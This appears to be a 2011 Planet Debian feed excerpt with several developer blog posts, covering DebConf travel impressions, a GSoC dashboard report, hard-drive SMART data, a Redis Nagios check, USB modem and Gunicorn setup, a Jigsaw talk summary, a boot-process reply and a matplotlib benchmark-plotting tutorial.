Any other ideas? And to finish off some more personal travel-inspired rambling. After visiting Paris, Zagreb, Banja Luka and (very shortly) Vienna on this trip it was very interesting to see similarities and draw some parallels, especially with the added context of Berlin and Riga. The similarities in city planning, street shops, brands and the way people go about their lives in these capitals are quite remarkable. I would even say that a trend can be seen where capitols of countries/regions that had troubles in the past (Bosnia more recently; Riga, Zagreb and East Berlin a bit more into the past) are now moving from their different pasts and converging towards the vision of the European capitol city living we see in cities like Paris. If you look at individual pieces you can even recognise milestones along this route and see when specific cities reach them (possibly in a different order than others). With that in mind you can even try to predict what might come next, like looking at Banja Luka and thinking that they might reach the point of upgrading their buses in the next 2-3 years, or comparing Riga and Zagreb we can see that Riga needs to soon choose a street and close it to car traffic to have more caf s, beer gardens and shops concentrated in that area. Or looking at Paris we might find a compelling idea, like clustering a lot of businesses of the same type (such as kitchen design) in the same street, so the customers know where they can go to have all the best choices available within a block. All in all this years Debconf for me was one with the most diverse experiences and the one that felt closest to home. I hope to see you all good people again next year! P.S. I do hope that Debconf12 dates are nailed down in the next 2 months, so we can start talking to air plane companies for group discounts immediately.

1 August 2011

Nathan Handler: Google Summer of Code Report #4

Due to the midterm evaluation, this report will cover a span of 4 weeks. As a result, it will be quite a bit longer than my previous reports. One of the first things I did after my last report was create a FAQ for the project. At first, the FAQ was a plain text file living only in the git repository. Then, it moved to being maintained on the Debian wiki with a cronjob pulling it into my local repository for me to commit and push. Finally, the cronjob moved to wagner. The FAQ is not actually committed to the git repository, but it is available in the dextools instance running on wagner or on the wiki. There is also now a basic README file that is part of the git repository that simply points people to the FAQ on the wiki (so people who branch the repository can easily find the documentation). For those of you who have been reading my other reports and/or testing the dashboard, you have probably noticed the problems I was having getting the text boxes sized properly. After spending countless hours researching and testing different solutions, we finally decided to give up on this for the time being. Therefore, all of the size attributes have been removed from the text inputs, and the background color has been reset to its default value. This means that we will no longer experience the issue of very wide text boxes and a horizontally stretched table. However, it also means that long strings will get cut-off when displayed in a text input. Since my initial mockup design at the start of the summer, I have had the rows of the table zebra-striped. Based on some feedback from Paul Wise (pabs), I changed this so that the row colors are based on the status of the task. Open tasks are red, closed tasks are green, and in progress tasks are yellow. This makes it much easier to quickly see the progress of the project and find tasks you are interested in. My original dashboard consisted of one main dex.html file. This file used some javascript to pull in each project s task list. We felt that a much more common use case would involve a user only interested in one particular project. As a result, they would not be likely to use the select boxes to change projects. This ultimately led to me creating standalone dex.html dashboards for each project. These per-project dashboards were identical to the original dex.html, except they did not include the select boxes at the top for changing projects. Eventually, I decided to completely get rid of the original dex.html dashboard. That file now consists of a simple list of links to all of the projects sorted by distribution. Another advantage of this change is that it is much easier to link to a specific project. For example, you might now link to /projects/dex-ubuntu-ancient-patches/dex.html (you can get the URL by simply copying it from the address bar). Another advantage is that you can now link directly to a specific project s graphs (just append #graph). Another feature that I am still working on is per-project documentation. From the start, we wanted to make it easy for new contributors to get involved in DEX. One way we can do this is by having clear documentation about what the project is and how to deal with tasks. I decided that the easiest approach would be to have this documentation live on the wiki. This allows users to use the familiar wiki markup language to format their text, and it gives us all of the other benefits a wiki provides. Documentation will live at /DEX/<distribution>/ <project>. The dashboard will then take care of pulling in this documentation and displaying it at the top of the proper page. For a while, I was thinking that it would be necessary to filter the HTML produced by the wiki to prevent malicious code from ending up on the dashboard. However, after playing around for a bit, I think that it should be pretty safe to just use the HTML as-is (if someone spams the wiki, we can always revert the change). I am currently finishing up some of the code to handle this, and it should be live sometime this week (a partially working version is live on wagner). There are also two new checkboxes at the top of each dashboard. These allow users to add completed tasks and/or tasks with completed bugs. This is useful for projects that are close to being complete, as it allows users to quickly view the few remaining tasks. This feature was requested by several people, and I am glad to finally be able to implement it for them. There is also a second graph on each page. This graph is a bar graph that shows the number of tasks each person has completed. It gets the people from the assignee column for the project, and it only counts tasks with a status of Complete . The graph is updated whenever the getbugs.py script runs to update the task listing (currently every 10 minutes). The bars are sorted from tallest to shortest. The idea behind this graph is to recognize the people working on a project. The form processing script has not worked on wagner. This was mainly due to a permission issue. Thanks to a hint from Rapha l Hertzog, I was able to use setfacl to fix this. The form can now be submitted, and it should successfully save all changes made via the web form. This involved some updates to support the per-project dex.html files. The form processing script will also ignore any status that is not complete , in progress , or incomplete , which prevents people from messing up the dashboard by submitting invalid information. Finally, the script will now try to use the HTTP_REFERER header to send the user back to the correct page. If this header is not set, the user will be sent back to the main dex.html index page. Sorting the table has been partially broken since I started including text inputs. I finally got this issue resolved, and I should now be able to sort by text inputs, select boxes, or anything else I might end up including in the table. You can test this by clicking on any header in the table. I will probably add a tiny image to make it more clear which header is being used to sort the table. By default, it is sorted based on the status and then the task name. The status column now has a select box for setting the status. Since the row coloring is done via javascript, the minute you change the status in the select box, the row color will change to reflect the new status. Keep in mind, for the time being, any change you make via the web form will be lost if you do not hit the Submit button at the top of the form. That covers most of the dashboard changes that have taken place since my last report. However, there were also some other changes that are worth noting. Matt Zimmerman, my original mentor, settled down from his traveling and resumed serving as my mentor for the project. I would like to thank Stefano Zacchiroli for all of his help this summer. I look forward to working with him more in the future. I have also started using the issue tracker feature on alioth for dextools. Right now, it is mainly being used to help me keep track of bugs and features that I need to deal with. I am hoping that as dextools starts to be used by more people that they will also help report issues on the tracker. This issue tracker is a good source of information for people interested in knowing what I will be working on in the future. I will briefly talk about some of the more important features that I will be working on. The first issue is one that I have already touched upon in this report. I want to sort out the per-project documentation. This is rather important, as it will most likely be utilized by all projects using the dashboard. It is also essential if we are to get new contributors involved in DEX projects. Second, I want to setup some method for backing up the projects/ directory on wagner. This directory is not maintained in the git repository, and it contains all of the information submitted via the web form and generated by the scripts. My current plan is to have this directory maintained in its own VCS. Every time getbugs.py runs or the form is submitted, a new commit will be made. This will allow us to easily revert any changes (spam) made to the dashboard. Since we do not foresee the dashboard being the target of much abuse, any user will be able to modify data via the web form. I also want to add the ability for users to create new projects and task via the web. I envision this as a separate form where they enter the distribution name, project name, a list of BTS bug numbers, and a list of any additional tasks. The script will then take care of applying the necessary usertag to the bugs and/or creating a tasks file in the projects directory for the non-bts tasks. Doing this will make starting a new project trivial, and will eliminate the need for VCS access to create projects that do not utilize BTS bugs. Finally, I want to eliminate the need for the user to hit the Submit button to save their changes. Any change the user makes should be submitted and saved instantly using AJAX. This will also help eliminate some confusion that was caused by the row color instantly changing when the status is changed. Some users thought that the color change meant that the change was saved when it really was not. Matt asked me the other day what features I think need to get added before the dashboard is really ready for public use. While the features and issues I mentioned above will help make the dashboard easier to use, the dashboard is still perfectly usable without them. There are only a few more weeks left in the Google Summer of Code 2011. By that time, all of these features and bugs should be sorted out, and we should be able to properly announce the dashboard and make it available for use on all DEX projects. That does not mean that the dashboard will be done . Instead, it will probably result in many new bugs and feature requests being submitted. However, at that point, I will make a very strong effort to keep the dashboard stable and to prevent data loss. I am looking forward to the finally finishing up this project and seeing it used by the DEX team. As always, if you are interested in helping out with DEX or dextools, my code is available in a git repository on alioth. There is also the new issue tracker where you can report bugs and request new features. Finally, you can join the debian-derivatives mailing list, join #debian-derivatives on OFTC, or contact me directly via email or on IRC (nhandler).</project></distribution>

Iustin Pop: New harddrives WD RE4

I've recently exchanged my old RE3 harddrives (500GB) with new RE4 (non-green power) 2TB harddrives. Here is some data gathered if anyone is interested (I usually look for this kind of information before buying). Smart information:

smartctl 5.41 2011-06-09 r3365 [x86_64-linux-3.0.0-ruru0] (local build)
Copyright (C) 2002-11 by Bruce Allen, http://smartmontools.sourceforge.net
=== START OF INFORMATION SECTION ===
Model Family:     Western Digital RE4 Serial ATA
Device Model:     WDC WD2003FYYS-02W0B0
Serial Number:    WD-XXXXXXXXXXXX
LU WWN Device Id: X XXXXXX XXXXXXXXX
Firmware Version: 01.01D01
User Capacity:    2,000,398,934,016 bytes [2.00 TB]
Sector Size:      512 bytes logical/physical
Device is:        In smartctl database [for details use: -P show]
ATA Version is:   8
ATA Standard is:  Exact ATA specification draft version not indicated
Local Time is:    Thu Jul 28 20:31:24 2011 CEST
SMART support is: Available - device has SMART capability.
SMART support is: Enabled
=== START OF READ SMART DATA SECTION ===
SMART overall-health self-assessment test result: PASSED
General SMART Values:
Offline data collection status:  (0x80) Offline data collection activity
                                        was never started.
                                        Auto Offline Data Collection: Enabled.
Self-test execution status:      (   0) The previous self-test routine completed
                                        without error or no self-test has ever
                                        been run.
Total time to complete Offline
data collection:                (28860) seconds.
Offline data collection
capabilities:                    (0x7b) SMART execute Offline immediate.
                                        Auto Offline data collection on/off support.
                                        Suspend Offline collection upon new
                                        command.
                                        Offline surface scan supported.
                                        Self-test supported.
                                        Conveyance Self-test supported.
                                        Selective Self-test supported.
SMART capabilities:            (0x0003) Saves SMART data before entering
                                        power-saving mode.
                                        Supports SMART auto save timer.
Error logging capability:        (0x01) Error logging supported.
                                        General Purpose Logging supported.
Short self-test routine
recommended polling time:        (   2) minutes.
Extended self-test routine
recommended polling time:        ( 255) minutes.
Conveyance self-test routine
recommended polling time:        (   5) minutes.
SCT capabilities:              (0x303f) SCT Status supported.
                                        SCT Error Recovery Control supported.
                                        SCT Feature Control supported.
                                        SCT Data Table supported.
SMART Attributes Data Structure revision number: 16
Vendor Specific SMART Attributes with Thresholds:
ID# ATTRIBUTE_NAME          FLAG     VALUE WORST THRESH TYPE      UPDATED  WHEN_FAILED RAW_VALUE
  1 Raw_Read_Error_Rate     0x002f   100   253   051    Pre-fail  Always       -       0
  3 Spin_Up_Time            0x0027   100   253   021    Pre-fail  Always       -       0
  4 Start_Stop_Count        0x0032   100   100   000    Old_age   Always       -       4
  5 Reallocated_Sector_Ct   0x0033   200   200   140    Pre-fail  Always       -       0
  7 Seek_Error_Rate         0x002e   100   253   000    Old_age   Always       -       0
  9 Power_On_Hours          0x0032   100   100   000    Old_age   Always       -       0
 10 Spin_Retry_Count        0x0032   100   253   000    Old_age   Always       -       0
 11 Calibration_Retry_Count 0x0032   100   253   000    Old_age   Always       -       0
 12 Power_Cycle_Count       0x0032   100   100   000    Old_age   Always       -       3
192 Power-Off_Retract_Count 0x0032   200   200   000    Old_age   Always       -       2
193 Load_Cycle_Count        0x0032   200   200   000    Old_age   Always       -       1
194 Temperature_Celsius     0x0022   120   116   000    Old_age   Always       -       32
196 Reallocated_Event_Count 0x0032   200   200   000    Old_age   Always       -       0
197 Current_Pending_Sector  0x0032   200   200   000    Old_age   Always       -       0
198 Offline_Uncorrectable   0x0030   100   253   000    Old_age   Offline      -       0
199 UDMA_CRC_Error_Count    0x0032   200   253   000    Old_age   Always       -       0
200 Multi_Zone_Error_Rate   0x0008   100   253   000    Old_age   Offline      -       0
SMART Error Log Version: 1
No Errors Logged
SMART Self-test log structure revision number 1
No self-tests have been logged.  [To run self-tests, use: smartctl -t]
SMART Selective self-test log data structure revision number 1
     SPAN  MIN_LBA  MAX_LBA  CURRENT_TEST_STATUS
        1        0        0  Not_testing
        2        0        0  Not_testing
        3        0        0  Not_testing
        4        0        0  Not_testing
        5        0        0  Not_testing
Selective self-test flags (0x0):
      After scanning selected spans, do NOT read-scan remainder of disk.
If Selective self-test is pending on power-up, resume after 0 minute delay.

hdparm information:

ATA device, with non-removable media
powers-up in standby; SET FEATURES subcmd spins-up.
        Model Number:       WDC WD2003FYYS-02W0B0
        Serial Number:      WD-XXXXXXXXXXXX
        Firmware Revision:  01.01D01
        Transport:          Serial, SATA 1.0a, SATA II Extensions, SATA Rev 2.5, SATA Rev 2.6
Standards:
        Supported: 8 7 6 5
        Likely used: 8
Configuration:
    Logical         max     current
    cylinders       16383   16383
    heads           16      16
    sectors/track   63      63
    --
    CHS current addressable sectors:   16514064
    LBA    user addressable sectors:  268435455
    LBA48  user addressable sectors: 3907029168
    Logical/Physical Sector size:           512 bytes
    device size with M = 1024*1024:     1907729 MBytes
    device size with M = 1000*1000:     2000398 MBytes (2000 GB)
    cache/buffer size  = unknown
    Nominal Media Rotation Rate: 7200
Capabilities:
    LBA, IORDY(can be disabled)
    Queue depth: 32
    Standby timer values: spec'd by Standard, with device specific minimum
    R/W multiple sector transfer: Max = 16  Current = 0
    Advanced power management level: 128
    Recommended acoustic management value: 128, current value: 254
    DMA: mdma0 mdma1 mdma2 udma0 udma1 udma2 udma3 udma4 udma5 *udma6
                 Cycle time: min=120ns recommended=120ns
    PIO: pio0 pio1 pio2 pio3 pio4
                 Cycle time: no flow control=120ns  IORDY flow control=120ns
Commands/features:
        Enabled Supported:
           *    SMART feature set
                Security Mode feature set
           *    Power Management feature set
           *    Write cache
           *    Look-ahead
           *    Host Protected Area feature set
           *    WRITE_BUFFER command
           *    READ_BUFFER command
           *    NOP cmd
           *    DOWNLOAD_MICROCODE
           *    Advanced Power Management feature set
           *    Power-Up In Standby feature set
           *    SET_FEATURES required to spinup after power up
                SET_MAX security extension
           *    Automatic Acoustic Management feature set
           *    48-bit Address feature set
           *    Device Configuration Overlay feature set
           *    Mandatory FLUSH_CACHE
           *    FLUSH_CACHE_EXT
           *    SMART error logging
           *    SMART self-test
           *    General Purpose Logging feature set
           *    WRITE_ DMA MULTIPLE _FUA_EXT
           *    64-bit World wide name
           *    IDLE_IMMEDIATE with UNLOAD
           *    WRITE_UNCORRECTABLE_EXT command
           *     READ,WRITE _DMA_EXT_GPL commands
           *    Segmented DOWNLOAD_MICROCODE
           *    Gen1 signaling speed (1.5Gb/s)
           *    Gen2 signaling speed (3.0Gb/s)
           *    Native Command Queueing (NCQ)
           *    Phy event counters
           *    Idle-Unload when NCQ is active
           *    NCQ priority information
           *    DMA Setup Auto-Activate optimization
           *    Software settings preservation
           *    SMART Command Transport (SCT) feature set
           *    SCT Long Sector Access (AC1)
           *    SCT LBA Segment Access (AC2)
           *    SCT Error Recovery Control (AC3)
           *    SCT Features Control (AC4)
           *    SCT Data Tables (AC5)
                unknown 206[12] (vendor specific)
                unknown 206[13] (vendor specific)
Security:
    Master password revision code = 65534
            supported
    not     enabled
    not     locked
    not     frozen
    not     expired: security count
            supported: enhanced erase
    294min for SECURITY ERASE UNIT. 294min for ENHANCED SECURITY ERASE UNIT.
Logical Unit WWN Device Identifier: XXXXXXXXXXXXXXXX
    NAA             : X
    IEEE OUI        : XXXXXX
    Unique ID       : XXXXXXXXX
Checksum: correct

Using fio running on all three drives in read mode results in a nice ~420 MiB/s average throughput at the start of the disk, not bad. This is the zone bandwidth graph:

and the IOPS graph:

The IOPS doesn't compare with either a 10K drive nor any SSD, but the bandwidth is not that bad for a mechanical harddrive.

Chris Lamb: Monitoring Redis? Check last_save_time

As Redis writes to disk asychronously, it is not sufficient to monitor whether it is still listening to TCP/IP connections - you must check whether it is managing to persist the in-memory data to disk. However, as it is not currently possible to deterministically monitor the status of these background saves, we are limited to checking that the number of seconds since the last save has not exceeded some specific number. This is possible by using last_save_time which is available via the INFO command:

$ redis-cli info   grep last_save_time
last_save_time:1312045364

Checking for this has already saved me twice: once when my vm.overcommit_memory = 1 change was accidentally rolled back (see "Background saving is failing with a fork() error" in the Redis FAQ), and again when the machine simply did not have enough disk space. To monitor this with Nagios:

#!/usr/bin/env python
import sys
import time
import redis
def main(host, warning, critical):
    try:
        client = redis.Redis(host=host)
        last_save = time.time() - client.info()['last_save_time']
    except Exception, e:
        print "CRITICAL: %s" % e
        return 2
    ret = 0
    state = 'OK'
    for limit, state_, ret_ in (
        (int(warning), 'WARNING', 1),
        (int(critical), 'CRITICAL', 2),
    ):
        if last_save > limit:
            ret = ret_
            state = state_
    print "%s: Last dump was %d seconds ago" % (state, last_save)
    return ret
if __name__ == '__main__':
    sys.exit(main(*sys.argv[1:]))

The following invokation will trigger a warning when we haven't saved in an hour and become critical if we haven't saved within 24 hours. (If we cannot connect to the server we are immediately critical, so we avoid an extra check just for this.)

$ check_redis 127.0.0.1 3600 86400

This setup works well, although we are now monitoring a non-deterministic heuristic. To remedy this, Redis could expose background save failures in the INFO output (last_bgsave_status=fail, perhaps?). However, the treatment of previous contributions puts me off sending further patches.

31 July 2011

Uwe Hermann: The FONIC Surf-Stick, Huawei E1750 HSPA USB modem, on Debian GNU/Linux via usb_modeswitch and wvdial

I recently got myself a FONIC account for mobile Internet. This (German) prepaid-provider offers a "daily flatrate" for 2.50 per day. After the 10th day of usage (i.e., 25 ) you don't pay any more. This means, even if you need mobile Internet access 31 days a month, you only pay for 10 days. After 500MB/day or 5GB/month you're throttled down to GPRS speed (but you can still connect, and you don't pay more). The FONIC account comes with the "FONIC Surf-Stick", a Huawei E1750 HSPA USB modem (apparently it supports GPRS, EDGE, UMTS, HSDPA (up to 7.2Mbit/s), HSUPA (up to 5.76 Mbit/s), and a SIM card. In order to use the device on Linux you need two packages, usb_modeswitch and wvdial:

  $ apt-get install usb-modeswitch wvdial

Recent versions of usb_modeswitch (and matching udev entries) already support the Huawei E1750 out of the box, a few seconds after attaching the device it's automatically switched into modem mode. After this has been done you should have three new serial devices, usually /dev/ttyUSB0, /dev/ttyUSB1, and /dev/ttyUSB2. You'll need /dev/ttyUSB0 for talking to the device using AT commands. The lsusb output should look like this (see here for full lsusb -vvv):

  $ lsusb
  Bus 001 Device 045: ID 12d1:1436 Huawei Technologies Co., Ltd.

(before usb_modeswitch was run, the USB IDs were 12d1:1446)

The required settings for connecting are documented at fonic.de, specifically the APN (pinternet.interkom.de). A username and/or password is not required. You need to provide your FONIC PIN though. Dialing is done using the *99# number and using the ATDT command. I'm using the following wvdial config file:

  $ cat /etc/wvdial.conf
  [Dialer Defaults]
  Modem = /dev/ttyUSB0
  Baud = 460800
  [Dialer pin]
  Init1 = AT+CPIN=1234
  [Dialer fonic]
  Phone = *99#
  Username = foo
  Password = foo
  Stupid Mode = 1
  Dial Command = ATDT
  Init2 = ATZ
  Init3 = AT+CGDCONT=1,"IP","pinternet.interkom.de"

For mobile Internet access you would do the following:

Attach the device via USB, wait a few seconds to let usb_modeswitch do its magic.

Run wvdial pin and wait a few seconds (until the prompt returns):

  $ wvdial pin
  --> WvDial: Internet dialer version 1.61
  --> Initializing modem.
  --> Sending: AT+CPIN=1234
  AT+CPIN=1234
  OK
  --> Modem initialized.
  --> Configuration does not specify a valid phone number.
  --> Configuration does not specify a valid login name.
  --> Configuration does not specify a valid password.

Run wvdial fonic and wait until the "CONNECT" message appears and you get DNS addresses:

  $ wvdial fonic
  --> WvDial: Internet dialer version 1.61
  --> Initializing modem.
  --> Sending: ATZ
  ATZ
  OK
  --> Sending: ATZ
  ATZ
  OK
  --> Sending: AT+CGDCONT=1,"IP","pinternet.interkom.de"
  AT+CGDCONT=1,"IP","pinternet.interkom.de"
  OK
  --> Modem initialized.
  --> Sending: ATDT*99#
  --> Waiting for carrier.
  ATDT*99#
  CONNECT
  --> Carrier detected.  Starting PPP immediately.
  --> Starting pppd at Mon Aug  1 xx:xx:xx 2011
  --> Pid of pppd: 18672
  --> Using interface ppp0
  --> local  IP address xxx.xxx.xxx.xxx
  --> remote IP address yyy.yyy.yyy.yyy
  --> primary   DNS address 193.189.244.225
  --> secondary DNS address 193.189.244.206

If everything worked fine you should now have connected successfully. There are other alternatives for achieving the same result, including umtsmon (Qt3 in the last release from 2009, looks a bit unmaintained), kppp, the GNOME NetworkManager, and others, but wvdial worked OK for me. For more details about the Huawei E1750 device (e.g. lsusb -vvv and more photos), see my wiki page at http://randomprojects.org/wiki/FONIC_Surf-Stick_Huawei_E1750 Update 2011-08-03: My measured download speed for a Debian ISO (over HTTP via wget, at night, roughly 22:00 o'clock) is 350-470 KB/s in case anyone is interested. During this download the blue LED on the stick was enabled, which denotes a UMTS connection (green == GPRS/EDGE, turquoise == HSDPA).

Chris Lamb: Sysadmin-friendly deployment of Gunicorn in Debian

Over the last 18 months Gunicorn has replaced mod_wsgi as the de facto container for deploying Django projects. However, whilst it was first uploaded to Debian in April 2010, it was not particularly sysadmin friendly. In particular, it required custom initscripts (or some other mechanism) to manage each Gunicorn instance. To improve that, you can now place multiple configuration files inside /etc/gunicorn.d:
# /etc/gunicorn.d/django.example: defaults are commented out CONFIG = 'mode': 'django', 'environment': 'PYTHONPATH': '/path/to/custom/python/packages', , # 'working_dir': '/', # 'user': 'www-data', # 'group': 'www-data', 'args': ( # '--bind=127.0.0.1:8000', '--workers=4', # '--worker-class=egg:gunicorn#sync', # '--timeout=30', 'settings', ),
All instances can then be restarted using:
$ /etc/init.d/gunicorn restart Stopping Gunicorn workers: [example] [site_a] [site_b]. Starting Gunicorn workers: [example] [site_a] [site_b].
Sites using plain WSGI can use the wsgi mode - see /etc/gunicorn.d/wsgi.example.

30 July 2011

Torsten Werner: DebConf11: Jigsaw Progress in Debian

Tom Marble and Guillaume Mazoyer gave a talk about Jigsaw Progress in Debian during DebConf11 in Banja Luka. Guillaume is a Google Summer of Code student mentored by Tom and Sylvestre Ledru. The project is about modularizing OpenJDK which replaces the old fashioned classpath by a modulepath that knows about versioned dependencies. It can reduce the memory footprint and the startup time for applications running in the JVM. It would be interesting to match Debian package versions to Jigsaw module versions. Debian could influence the JDK version 8 in this area. Upstream is already building Debian packages but they do not follow the Debian policy and do not use the Debian packaging tools. Guillaume has uploaded 2 packages (jtharness, jtreg) to Debian. These packages are needed to run the upstream testsuite which ships 3484 individual tests. More than 99% of them are working in Debian. There is a GIT repository of his Jigsaw work at http://anonscm.debian.org/gitweb/?p=pkg-java/jigsaw.git;a=summary. The slides of the talk are available at http://penta.debconf.org/dc11_schedule/events/718.en.html.

Wouter Verhelst: Re: Pere

Fellow Debian Developer Petter Reinholdsen, who is also on Planet Debian, recently blogged about two things that I just have to respond to. I'd post a comment on his blog, but unfortunately his blog does not support comments (booh!). In his first blog post, titled "What is missing in the Debian desktop, or why my parents use Kubuntu", he complains about the lack of a "simple GUI based upgrade of packages". That already exists and is in Debian; if you install the default GNOME desktop, you'll get an icon in the (freedesktop.org) system tray (so it's not a gnome applet) that will tell you when there're updates available. It uses a system tray thingy, so it's not gnome-specific, and you can still use it if you use KDE instead of gnome though I should add that it's something my parents keep ignoring, even after I've told them. Oh well. The same blog post contains two more items that I don't disagree with, and is then followed with a complain about "Better browser handling of some MIME types". This is actually a bug in Firefox upstream, not Debian; ubuntu may have patched their Firefox, but feature requests to fix this issue have been posted in the Firefox Bugzilla. Meanwhile, a workaround exists. His second blog post is about the boot process. Petter is involved with the sysvinit system, and has some valid points in that some scripts in rcS.d really don't belong there. Petter wants to move many scripts, including those setting up the network, out of rcS.d. I don't think that's a very good idea. Currently, a system admin has four options: boot to a 'normal' login prompt (just boot, don't modify the kernel command line); boot to a single-user system (by adding 'single' to the kernel command line; this runs rcS and rc1 scripts); boot to a very minimally set up system (by adding 'emergency'; this just mounts the root filesystem, does some very minor setup (like doing the keyboard mapping) and allows the user to get a root shell); or just boot to a shell, period (by adding 'init=/bin/bash'). While it makes obvious sense that rcS.d shouldn't contain too much stuff (otherwise you might as well not bother with having it at all), I'm not sure that moving the mounting of 'network-based filesystems mounted by default at bootup time' away from rcS.d is a good idea. Sometimes things go horribly wrong after the networked filesystems are mounted, because some things are misconfigured on those networked file systems. We currently have two states that bring the system up to 'networked filesystems mounted, system not fully booted', and two that bring the system up to 'root filesystem mounted, you figure it out from there'. That seems well divided, and I don't think changing that is a good idea.

Vincent Bernat: Plot benchmark results with matplotlib

In the past week, I ran a lot of benchmarks using a Spirent Avalanche which is an appliance providing performance testing of network related products (a load balancer, a router, a web server, ). The reporting module does not provide a lot of flexibility and the plots are not the most beautiful ones. Fortunately, the results are also exported as CSV. matplotlib is a python plotting library which produces great figures without making things hard when they should be easy. It is a good replacement for GNU Plot and you don t need a lot of Python knowledge to use it. The documentation includes a fine user s guide that should get you started in less than 20 minutes.
Quick introduction You can use matplotlib from IPython to experiment:
$ ipython -pylab Python 2.6.7 (r267:88850, Jul 10 2011, 08:11:54) Type "copyright", "credits" or "license" for more information. Welcome to pylab, a matplotlib-based Python environment. For more information, type 'help(pylab)'. > In [1]: plot([1,1,4,5,10,11])
When you are ready, you can build a simple Python script:
#!/usr/bin/env python from matplotlib.pylab import * plot([1,1,4,5,10,11]) savefig("my-plot.pdf")

Grabbing results from CSV Data are contained into a file named realtime.csv. It contains the raw data as well as some general information about the benchmark (test name, description, paramaters ). We need to skip those. Fortunately, csv2rec() allows to load data from a CSV file into a record array and skip the first rows if necessary.
from matplotlib.pylab import * import sys, os import gzip skip = 0 for line in gzip.open(sys.argv[1]): if line.startswith("Seconds Elapsed,"): break skip = skip + 1 ava = csv2rec(gzip.open(sys.argv[1]),skiprows=skip)
Now, the Elapsed seconds column can be accessed with ava['elapsed_seconds'].
General structure I need 4 plots:

successful, unsuccesful and attempted transactions per second,

minimum, average and maximum response time per page,

Avalanche CPU usage,

incoming and outgoing bandwidth.

The most important plot is the first one. The second one is less important and the last ones are here only to check we did not hit some bottleneck during the benchmark. We want to produce a page like this: matplotlib allows to plot subfigures. We create 4 subfigures sharing the same X axis (which the number of seconds elapsed since the beginning of the benchmark). We save the result to PDF.
# Create the figure (A4 format) figure(num=None, figsize=(8.27, 11.69), dpi=100) ax1 = subplot2grid((4, 2), (0, 0), rowspan=2, colspan=2) # [...] ax2 = subplot2grid((4, 2), (2, 0), colspan=2, sharex=ax1) # [...] ax3 = subplot2grid((4, 2), (3, 0), sharex=ax1) # [...] ax4 = subplot2grid((4, 2), (3, 1), sharex=ax1) # [...] # Save to PDF savefig("%s.pdf" % TITLE)

Bandwidth plot Let s start with the easiest plot: bandwidth usage.
# Plot 4: Bandwidth ax4 = subplot2grid((4, 2), (3, 1), sharex=ax1) plot(ava['seconds_elapsed'], ava['incoming_traffic_kbps']/1000., 'b-', label='Incoming traffic') plot(ava['seconds_elapsed'], -ava['outgoing_traffic_kbps']/1000., 'r-', label='Outgoing traffic') grid(True, which="both", linestyle="dotted") ylabel("Mbps", fontsize=7) xticks(fontsize=7) yticks(fontsize=7)
Here, in the suplot positioned in (3,1), we plot the number of seconds elapsed versus the incoming traffic with a blue line (b-). We also plot the seconds elapsed versus the outgoing traffic with a red line (r-). Here is the result: Most functions of matplotlib are exposed as a method of the object they refer to and as a global function. In the latest case, the function is applied to the latest created figure or plotting area. For example, plot() is called a function and therefore refer to the plotting area ax4. We could have written ax4.plot() instead.
CPU plot The average CPU utilization data available in the CSV file needs to be normalized. We assume the Avalanche to be mostly idle on start. The plotting part is pretty similar to our previous case.
# CPU max = np.max(ava['average_cpu_utilization']) order = 10**np.floor(np.log10(max)) max = np.ceil(max/order)*order cpu = (max - ava['average_cpu_utilization'])*100/max # Plot 3: CPU ax3 = subplot2grid((4, 2), (3, 0), sharex=ax1) plot(ava['seconds_elapsed'], cpu, 'r-', label="Avalanche CPU") grid(True, which="both", linestyle="dotted") ylabel("Avalanche CPU%", fontsize=7) xticks(fontsize=7) yticks(fontsize=7)

Response time We would like to plot response time. We have three corresponding metrics: minimum response time, average response time, maximum response time. Because those metrics start from 0 ms up to several seconds, a logarithmic scale is used:
# Plot 2: response time ax2 = subplot2grid((4, 2), (2, 0), colspan=2, sharex=ax1) plot(ava['seconds_elapsed'], ava['minimum_response_time_per_page_msec'], 'b-', label="Minimum response time") plot(ava['seconds_elapsed'], ava['maximum_response_time_per_page_msec'], 'r-', label="Maximum response time") plot(ava['seconds_elapsed'], ava['average_response_time_per_page_msec'], 'g-', linewidth=2, label="Average response time") legend(loc='upper left', fancybox=True, shadow=True, prop=dict(size=8)) grid(True, which="major", linestyle="dotted") yscale("log") ylabel("Response time (msec)", fontsize=9) xticks(fontsize=9) yticks(fontsize=9)
This is also the first graphic with a legend.
Transactions per second The most important plot is the number of transactions per second.
# Plot 1: TPS ax1 = subplot2grid((4, 2), (0, 0), rowspan=2, colspan=2) plot(ava['seconds_elapsed'], ava['desired_load_transactionssec'], '-', color='0.7', label="Desired Load") plot(ava['seconds_elapsed'], ava['successful_transactionssecond'], 'g:', label="Successful") plot(ava['seconds_elapsed'], smooth(ava['successful_transactionssecond']), 'g-', linewidth=2) plot(ava['seconds_elapsed'], ava['attempted_transactionssecond'], 'b-', label="Attempted") plot(ava['seconds_elapsed'], ava['aborted_transactionssecond'], 'k-', label="Aborted") plot(ava['seconds_elapsed'][:-1], ava['unsuccessful_transactionssecond'][:-1], 'r-', label="Unsuccessful") legend(loc='upper left', fancybox=True, shadow=True, prop=dict(size=10)) grid(True, which="both", linestyle="dotted") ylabel("Transactions/s")
The number of successful transactions is plotted twice: when the benchmarked equipment becomes overloaded, we get a lot of noise in this metric and it can be difficult to read. Therefore, we plot a smoothed version with the help of NumPy:
import numpy as np def smooth(x, win=4): s = np.r_[x[win-1:0:-1],x,x[-1:-win:-1]] w = np.ones(win, 'd') y = np.convolve(w/w.sum(),s,mode='valid') return y[(win-1)/2:-(win-1)/2]
np.r_() is just here to extend our data by the size of the window. np.ones() build a weight vector of the size of the window. If the window is 4, we get [0.25, 0.25, 0.25, 0.25]. We use this vector to apply a convolution to the original data. Here is the result: The original data is a green dotted line while the smoothed one is a green thick line. What about the three annotations? matplotlib allows to put annotations on a figure. Here is how this is done:
# Noticeable points count = 0 def highlight(index, reason): global count if index and index > 0: x,y = (ava['seconds_elapsed'][index], smooth(ava['successful_transactionssecond'])[index]) plot([x], [y], 'ko') annotate('%d TPS\n(%s)' % (y,reason), xy=(x,y), xytext=(20, -(count+4.7)*22), textcoords='axes points', arrowprops=dict(arrowstyle="-", connectionstyle="angle,angleA=0,angleB=80,rad=10"), horizontalalignment='left', verticalalignment='bottom', fontsize=8) count = count + 1 highlight(np.argmax(smooth(ava['successful_transactionssecond'])), "Max TPS") highlight(np.argmax(cpu > 99), "CPU>99%") highlight(np.argmax(ava['average_response_time_per_page_msec'] > 500), ">500ms") highlight(np.argmax(ava['average_response_time_per_page_msec'] > 100), ">100ms")
